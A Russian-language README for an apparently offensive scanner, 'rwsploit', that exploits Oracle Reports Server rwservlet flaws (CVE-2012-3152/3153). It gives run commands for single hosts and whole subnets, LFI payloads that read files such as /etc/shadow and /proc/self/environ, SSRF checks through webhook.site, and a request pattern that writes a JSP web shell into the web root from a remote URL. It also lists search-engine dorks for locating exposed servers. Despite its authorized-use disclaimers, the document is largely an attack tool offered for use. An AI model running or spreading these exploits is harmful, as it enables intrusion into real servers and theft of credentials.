
Автоматизированный сканер эксплуатации для Oracle Reports Server (rwservlet) — CVE-2012-3152 / CVE-2012-3153. Обнаруживает, снимает отпечатки, читает файлы через LFI, тестирует SSRF через webhook и загружает JSP-оболочки. Нацелен на Oracle Reports < 11g. Только для авторизованного использования.
⚠️ Только для авторизованного использования. Запускайте этот инструмент только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Неавторизованное использование незаконно.
Сфокусированный эксплуатационный сканер для Oracle Reports Server (rwservlet), нацеленный на CVE-2012-3152 и CVE-2012-3153 — затрагивающий версии ниже 11g. Автоматизирует обнаружение, чтение файлов LFI, тестирование SSRF и загрузку JSP-оболочек для отдельных IP, диапазонов CIDR или списков целей. Умная предварительная фильтрация TCP/HTTP пропускает недоступные хосты мгновенно, чтобы не тратить время.
git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests
Требуется Python 3.8+. Других зависимостей нет.
python3 rwsploit.py -t <IP|CIDR> [опции]
python3 rwsploit.py -f <файл> [опции]
Запустите без аргументов, чтобы увидеть полное меню справки и рекон-дорки.
# Только обнаружение
python3 rwsploit.py -t 10.10.10.55 -p 7777
# Обнаружение + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi
# Полная цепочка — LFI + SSRF + оболочка
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell
# Сканирование подсети, сохранение дампов
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot
# Из файла, без SSRF
python3 rwsploit.py -f targets.txt --lfi --no-ssrf
Формат targets.txt
# комментарий — пропускается
10.10.10.55
10.10.11.0/24
Читает файлы, доступные для чтения всем, сначала определяя ОС через showenv, затем запуская только соответствующий набор полезных нагрузок.
Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ
Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT
🚨 Отсутствие вывода LFI не означает, что цель безопасна — конфигурация Oracle и права доступа к файлам различаются. Всегда тестируйте SSRF и загрузку оболочки независимо.
Отправляет rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> и опрашивает API webhook.site на предмет обратного вызова. При срабатывании выводит исходный IP, метод и User-Agent. Новый токен webhook создаётся автоматически при запуске.
--shell)PATH_TRANSLATED из showenv, чтобы получить реальный путь к веб-корнюkxqbrmfa.jsp)rwservlet?report=xyzzy&destype=file&desname=<веб-корень\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<ваш URL>inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet
Shodan
http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"
FOFA
body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"
Censys
services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"
| CVE | Описание |
|---|---|
| CVE-2012-3152 | Неаутентифицированное чтение файлов через параметр report в rwservlet |
| CVE-2012-3153 | SSRF и запись файлов через JOBTYPE=rwurl + URLPARAMETER |
Затрагивает Oracle Reports Server 6i, 9i, 10g — исправлено в 11g.
Только для авторизованного тестирования на проникновение, CTF-соревнований и исследований безопасности. Автор не несёт ответственности за неправомерное использование.
| Флаг | Описание | По умолчанию |
|---|
-t | Целевой IP, hostname или CIDR. Принимается несколько значений. | — |
-f | Файл с одним IP или CIDR на строку. # = комментарий. | — |
-p | Один пользовательский порт — переопределяет список портов по умолчанию. | 80 443 8080 7777 7778 7779 8443 9090 |
-T | Потоков одновременно. | 15 |
-o | Сохранять дампы LFI на диск с этим префиксом. Например, -o loot → loot_<ip>_<port>_<файл>.txt | только stdout |
--timeout | Тайм-аут запроса в секундах. | 10 |
--lfi | Запускать полезные нагрузки чтения файлов LFI. Сначала определяется ОС, поэтому запускаются только соответствующие нагрузки. | выкл |
--no-ssrf | Пропустить тест SSRF webhook. | выкл |
--shell | Загрузить JSP-оболочку. Запрашивает URL, с которого будет загружено содержимое оболочки. | выкл |
-h | Показать справку и рекон-дорки. | — |